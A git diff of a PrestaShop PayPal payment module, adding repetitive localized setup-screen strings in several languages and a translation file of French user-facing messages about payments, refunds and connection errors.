        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=79 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=80 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Visit www.Paypal.com]]> + + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=45 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=46 + + + Sign Up + + + + + Apply + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 65-6510-4650 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=67 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=68 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : +65 6590-5502]]>(a Singapore telephone number) + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=73 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=74 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Evet + Hayır + Pay with your card or your PayPal account + ONLINE ÖDEME + ÇÖZÜMLERİNDE LİDER MARKA + Müşterileriniz için güvenli ve pratik ödeme yöntemi. + PayPal ile satış yapmaya başlamak yalnızca birkaç dakikanızı alır + + Müşteri tabanınızı genişletin
        PayPal ile başlıca kredi kartlarından ödeme alın ve PayPal'ı tercih eden 100 milyondan fazla aktif kullanıcıya erişin +
      • Uluslararası pazarlara açılın
        PayPal 190 ülkede ve 25 para birimi ile kullanılıyor
      • +
      • Müşterilerinizi güvende hissettirin
      • +
      • PayPal ile müşterileriniz kart bilgileri gibi hassas bilgileri paylaÅŸmadan alışveriÅŸ yapabilirler
      • + ]]> +
        + + Ülkeniz + Değiştir + Select your country + + Yardıma mı ihtiyacınız var ?]]> Bize ulaşın : 444 77 01 + call + + + Zaten PayPal Ticari hesap sahibi misiniz + Bir ödeme çözümü seçin + Daha fazla bilgi alın]]> + + Tüm kart işlenmesini PayPal tarafından işlenmesini mi istiyorsunuz ? + Varolan ödeme çözümünüze ek olarak PayPal'ı mı eklemek istiyorsunuz? + + Önerimiz + + PayPal Website Payments Standard + Hemen ödeme almaya başlayın. Hayır. + + + + + + PayPal Express Checkout + Satışlarınızı artırmanın güvenli yolu + + + PayPal Tícarí hesabı açın + + ÖDEME ALABİLMEK İÇİN WEB MAĞAZANIZI ETKİNLEŞTİRİN + + PayPal kimlik bilgilerinizi PrestaShop'a gönderin: + Indicate the email you used when you signed up for a PayPal Business account + PAYPAL KİMLİK BİLGİLERİMİ GÖRMEK İSTİYORUM + Yukarıdaki düğmeyi tıkladıktan sonra açılan sayfada PayPal kullanıcı adınızı ve şifrenizi girin. PayPal kimlik bilgilerinizi kopyalayın ve aşağıdaki alanlara yapıştırın. + API kullanıcı ismi + API şifresi + API imzanız + API business e-mail + Lütfen doğru karakterleri girdiğinizden emin olun. + + PayPal hesabınızın kurulumunu tamamlamak için + E-posta adresinizi onaylayın: PayPal'dan size gönderilecek onay e-postasındaki adımları izleyin + PayPal hesabınıza kredi kartınızı ekleyin ve onaylayın: PayPal hesabınıza giriş yapın ve Hesap Araçlarım kutusundaki "Ticari Ayarlarım" bağlantısını tıklayın + + Hesap ayarı seçenekleriniz + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + PayPal Express Checkout kullanın + Müşterilerinize 2 tıkla ödeme seçeneği sunun + + Sandbox kullanın + + PayPal hesabınızda bir test ortamı oluşturun (programlamcılar içindir) + Daha fazla bilgi alın + Canlı mod + Test modu + + Test modunu aktive etmek + + Ödeme alamayacağınız +
      • 3. adımı tamamlamak için PayPal modül sayfasına geri gelmeniz gerektiÄŸi
      • +
      • PayPal sandbox hesabı oluÅŸturmanız (daha fazla bilgi alın)
      • +
      • Programlama becerilerine sahip olduÄŸunuz
      • + ]]> +
        + anlamına gelir. Test modunu aktive etmek istediğinizden emin misiniz? + + Ödeme türü + Ödemelerin nasıl işlenmesini istediğinizi seçin (otomatik olarak veya manuel yetkilendirme). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Kaydedin + + 3. adımda açıklanan PayPal kimlik bilgilerini tamamlamanız gerekmektedir. Aksi halde ödeme alamazsınız. + + Tebrikler ! + Artık PayPal ile ödeme almaya başlayabilirsiniz. + Artık PayPal ödeme çözümlerini test edebilirsiniz. Daha sonra bu sayfaya gelip canlı modu aktive ederek ödeme almayı unutmayın. + + + HESAP AÇIN + Hesabınızı açtıktan sonra ödeme çözümünüzü eklemek için aşağıdaki adrese gidin + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=35 + + + + + + + + HESAP AÇIN + Hesabınızı açtıktan sonra 3. adımı tamamlamak için aşağıdaki adrese gidin: + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=36 + + + HESAP AÇIN + Bu adımı atlayın + + + + + + + + + + Bu adımı atlayın + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call : 02-8729-6625 + call + + + Already have a PayPal business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + + + + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + API business e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=64 + + + + + + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=65 + + + Sign Up + + + + + Apply + + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to step 3. + + + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 1-877-419-7765 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=84 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=86 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + + + + +
        + + + Yes + No + Pay with your card or your PayPal account + Leader in + online payments + Easy, secure, fast payments for your buyers. + It only takes a few minutes to get started with PayPal + + Get more buyers
        Over 100 million active PayPal accounts worldwide +
      • Access international buyers
        190 countries, 25 currencies
      • +
      • Reassure your buyers
        Buyers don’t need to share their private data
      • +
      • Accept all major payment methods
        Visa, Mastercard, PayPal, etc.
      • + ]]> +
        + + Your country + change + Select your country + + Need help?]]> Give us a call on 1-877-419-7765 + call + + + Already have a PayPal Business account + Select your solution + Learn more]]> + + Need PayPal to process all your card payments ? + Need PayPal in addition to your existing card processor ? + + Choose + + Website Payments Standard + + Start accepting payments immediately.]]> + No subscription fees, only a small transaction fee when you get paid. + + + Website Payments Pro Hosted + A professional platform that enables you to accept debit card, credit card and PayPal payments. Customised payment pages.]]> Monthly subscription of £20. + Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days. + + Express Checkout + Boost your online sales by 30%* with a simple 3-click checkout process. + *Source: Forrester research conducted in March 2011 + + Sign up for your free PayPal Business account + + Process payments on your online shop + + Provide your PayPal API credentials to PrestaShop + Indicate the email you used when you signed up for a PayPal Business account + Get my PayPal API credentials + Click here and enter your PayPal email login and password in the pop-up, then copy and paste your PayPal API credentials into the fields below. + API username + API password + API signature + PayPal Business account e-mail + Please check that you have copied in all the characters. + + To finalize setting up your PayPal account, you need to + Confirm your email address : check the email sent by PayPal when you created your account + Link your PayPal account to a bank account or a credit card : log into your PayPal account and go to “My business setup†+ + Configuration options + + Choose the solution you want to use + Iframe + Full page redirect + Choose your template + + Express Checkout shortcut + Offer your customers a 3-click checkout experience + + Use a Sandbox + + Activate a test environment in your PayPal account (developer only). + Learn more + Live mode (recommended) + Test mode + + Please note that if you choose to activate the test mode + + You won’t be able to accept payments yet +
      • You will need to come back to the PayPal module page in order to complete Step 3 before going live
      • +
      • You’ll need to create an account on the PayPal sandbox site (learn more)
      • +
      • You’ll need programming skills
      • + ]]> +
        + Are you sure you want to activate the test mode ? + + Payment type + Choose your way of processing payments (automatically vs.manual authorization). + Direct sales (recommended) + Authorization/Manual capture (payment shipping) + + Save + + You need to provide your PayPal API credentials in step 3 in order to accept payments. + + Congratulation ! + You can now start accepting payments with PayPal. + You can now start testing PayPal solutions. Once you've carried out your tests, don’t forget to come back to this page and activate the live mode in order to start accepting payments. + + + Sign Up + Once you've opened your PayPal account or if you have one already, then continue to step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=84 + + + Apply + Please only click the SAVE button at the bottom of the page once PayPal has approved your application for this product, otherwise you won't be able to process any card payments. This process can take up to 3-5 days + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=86 + + + Sign Up + Once your account has been created, come back to this page in order to complete step 3. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=85 + + + Sign Up + + + + + Apply + Important: Please click on the SAVE button at the bottom of the page only once PayPal has approved your application for this product, otherwise you won’t be able to process any card payments. This process can take up to 3-5 days.]]> + If your application for Website Payments Pro has already been approved by PayPal, please go directly to ]]>step 3]]>. + https://altfarm.mediaplex.com/ad/ck/3484-148727-12439-23?ID=40 + + + + + + +
        + + diff --git a/modules/paypal/translations/en.php b/modules/paypal/translations/en.php new file mode 100755 index 0000000..e32dded --- /dev/null +++ b/modules/paypal/translations/en.php @@ -0,0 +1,114 @@ +paypal_ad69e733ebae8d264bccaa38d68830e8'] = 'PayPal'; +$_MODULE['<{paypal}prestashop>paypal_6e7012516038a096b9f6bb71ba2cc5a3'] = 'Acceptez le paiements par cartes de crédits (CB, Visa, MasterCard, Amex, Aurore, Cofinoga, 4 stars) avec PayPal.'; +$_MODULE['<{paypal}prestashop>paypal_69a1a3ad8dd5da6db3c4da838a0cf9c7'] = 'Êtes-vous certain de vouloir supprimer vos informations ?'; +$_MODULE['<{paypal}prestashop>paypal_8b57f95f1e9cf09dc028fa5a671781ff'] = 'Toutes les fonctionnalités du module PayPal API sont incluses dans le nouveau module PayPal. Avant tout, pour ne pas rencontrer de conflits, veuillez ne pas utiliser ou supprimer le module PayPal API.'; +$_MODULE['<{paypal}prestashop>paypal_c91f1fb5e06286c3e0a33fc552dffbea'] = 'Vous devez renseigner vos identifiants PayPal Integral pour que votre thème mobile fonctionne correctement.'; +$_MODULE['<{paypal}prestashop>paypal_bd6b3cca1e559117a964cdfab6a977cf'] = 'Le thème mobile fonctionne seulement avec la solution de paiement mobile PayPal. Veuillez activer le module pour bénéficier de possibilités de paiements.'; +$_MODULE['<{paypal}prestashop>paypal_c9d8a8d3c76c69e9a5ba6387acb8655a'] = 'Avant d\'utiliser le module vous devez installer le module \"Rétro-compatibilité\".'; +$_MODULE['<{paypal}prestashop>paypal_ea5eb3f904bf42377277255cbd0e2251'] = 'Pour fonctionner correctement le module \"Rétro-compatibilité\" doit être activé.'; +$_MODULE['<{paypal}prestashop>paypal_48878e69ef59b9e9d2d9a8c18e4de520'] = 'Pour fonctionner correctement ce module requiert le module \"Rétro-compatibilité\" v'; +$_MODULE['<{paypal}prestashop>paypal_20fda49ece75d93bea97648ab1f1f1cf'] = 'Annulation des produits :'; +$_MODULE['<{paypal}prestashop>paypal_90ab0cfd410722553c79e614207a789a'] = 'Certains champs sont vides.'; +$_MODULE['<{paypal}prestashop>paypal_ce0e2b401002ca796d2e8aca7deb8f00'] = 'Les champs des identifiants ne peuvent être vides'; +$_MODULE['<{paypal}prestashop>paypal_3f7145179c909f0e87a911a3171986b6'] = 'Le champs E-mail professionnel ne peut être vide'; +$_MODULE['<{paypal}prestashop>paypal_e5d5d9f40763cfe6549bef705e3529a7'] = 'Le message de paiement n\'est pas valide, veuillez vérifier votre module'; +$_MODULE['<{paypal}prestashop>paypal_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide'; +$_MODULE['<{paypal}prestashop>paypal_eec39bf42bd135971fb2d838c67d1449'] = 'Opération de remboursement :'; +$_MODULE['<{paypal}prestashop>paypal_2ab62d1a578713d0862b56819295630e'] = 'Remboursement PayPal confirmé !'; +$_MODULE['<{paypal}prestashop>paypal_a64db959966ba8d07c8b5d9493fcc21f'] = 'Erreur de transaction !'; +$_MODULE['<{paypal}prestashop>paypal_67962779da962e3d4225055afc05e7bd'] = 'Résultat de la capture :'; +$_MODULE['<{paypal}prestashop>paypal_8778ee03f6592d5fec9a1f2ee851e476'] = 'Commande terminée avec PayPal !'; +$_MODULE['<{paypal}prestashop>paypal_672d40feac6437e49f771019bc330790'] = 'Statu de la vérification :'; +$_MODULE['<{paypal}prestashop>paypal_1828820cc60e36b6f9fdf60cab103ed7'] = 'Vous utilisez actuellement l\'adresse PayPal par défaut, veuillez entrer votre propre adresse.'; +$_MODULE['<{paypal}prestashop>paypal_connect_d1f14cc4a2dade80c92421d26422fea0'] = 'Ouvre une nouvelle connection vers'; +$_MODULE['<{paypal}prestashop>paypal_connect_94a27811a721ef512ad7bfa06cab34e0'] = 'Echec de la connection avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_70215486455daee13382c68b1a230b82'] = 'Connection réussie avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_e4c4ad49bced42265b5facc2175cdafd'] = 'Envoie des paramètres :'; +$_MODULE['<{paypal}prestashop>paypal_connect_445583f6641da98fc7ac8fd9d13a564b'] = 'Echec de l\'envoie avec la méthode cURL ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_ef4fbf36eaa2083442d386990ba063c2'] = 'Envoie réussi avec la méthode cURL'; +$_MODULE['<{paypal}prestashop>paypal_connect_bf059c9751bb1a20b449b7917b1df374'] = 'Echec de la connection avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_ea800e3536f81238a4cbc32eb6db4eaf'] = 'Connection réussie avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_connect_6e9aa4cb541e09b07602d4ea96080811'] = 'Echec de l\'envoie avec la méthode fsockopen ! Erreur :'; +$_MODULE['<{paypal}prestashop>paypal_connect_842a183be225d415b2b4375ba1dd1c94'] = 'Envoie réussi avec la méthode fsockopen'; +$_MODULE['<{paypal}prestashop>paypal_lib_7c2d00d8c94d1ce0f515db8b0481db40'] = 'Réponse PayPal :'; +$_MODULE['<{paypal}prestashop>submit_67a3fcdb7708219b9d5d6269ad8c4a86'] = 'Une erreur est survenue pendant le processus de paiement.'; +$_MODULE['<{paypal}prestashop>ajax_7ef8c0c75056a5d1f988e352efcd0f09'] = 'Ce produit n\'est plus en stock avec ces attributs mais est disponible avec d\'autres'; +$_MODULE['<{paypal}prestashop>payment_d141a42a5e72c871a3116414bb5c64c1'] = 'Création du nouveau panier impossible'; +$_MODULE['<{paypal}prestashop>payment_5b5adcef5e3f2e5e1b6f60eb3e7e41ed'] = 'Une erreur est survenue :'; +$_MODULE['<{paypal}prestashop>payment_dca16503c563d9fdec70d18f2ab653a4'] = 'Erreur lors de la préparation du paiement par Express Checkout'; +$_MODULE['<{paypal}prestashop>payment_51da74120dd5e11817ef21e27d2599bc'] = 'Impossible de créer un nouvel utilisateur'; +$_MODULE['<{paypal}prestashop>payment_bcf08b34ab427cb871635151c6976eb0'] = 'Impossible de créer la nouvelle adresse'; +$_MODULE['<{paypal}prestashop>payment_ca5cecfc8fd8e585ba1e684757168158'] = 'Impossible de mettre à jour le panier'; +$_MODULE['<{paypal}prestashop>payment_ada2b5d5bbf3065de283d61526141780'] = 'En attente de capture du paiement.'; +$_MODULE['<{paypal}prestashop>payment_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>payment_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>payment_98825385aadb1d0dd0fd133ef8acd23d'] = 'Impossible de créer la commande'; +$_MODULE['<{paypal}prestashop>payment_085b78e060c3ef4cc37bd25abd06ff66'] = 'Le panier a changé depuis la dernière tentative de paiement. Veuillez recommencer le processus de paiement s\'il vous plait.'; +$_MODULE['<{paypal}prestashop>payment_572da7ef1411f2a12409e752f3eb2f7a'] = 'Votre panier et vide.'; +$_MODULE['<{paypal}prestashop>process_ee9dc1e678d54c517f481583c3fb2db8'] = 'Devise invalide.'; +$_MODULE['<{paypal}prestashop>process_484f5a79672cebe198ebdde45a1d672f'] = 'Emballage cadeau.'; +$_MODULE['<{paypal}prestashop>notifier_8a34d4a5b0c3928059f6f92ead9e8aa6'] = 'Le prix payé sur PayPal est différent du prix renseigné sur la boutique.'; +$_MODULE['<{paypal}prestashop>notifier_572f9af7615560af2cba038cc1948287'] = 'Panier mis à jour, merci de ré-essayer.'; +$_MODULE['<{paypal}prestashop>notifier_36ec50c0e914dd2fb48a1b27540512ce'] = 'Paiement accepté.'; +$_MODULE['<{paypal}prestashop>back_office_2d801c24938b12e4ca9a2cf9b980c759'] = 'Erreur !'; +$_MODULE['<{paypal}prestashop>capture_81e826adb70e2e6b189c2eef739d52d4'] = 'Capture PayPal'; 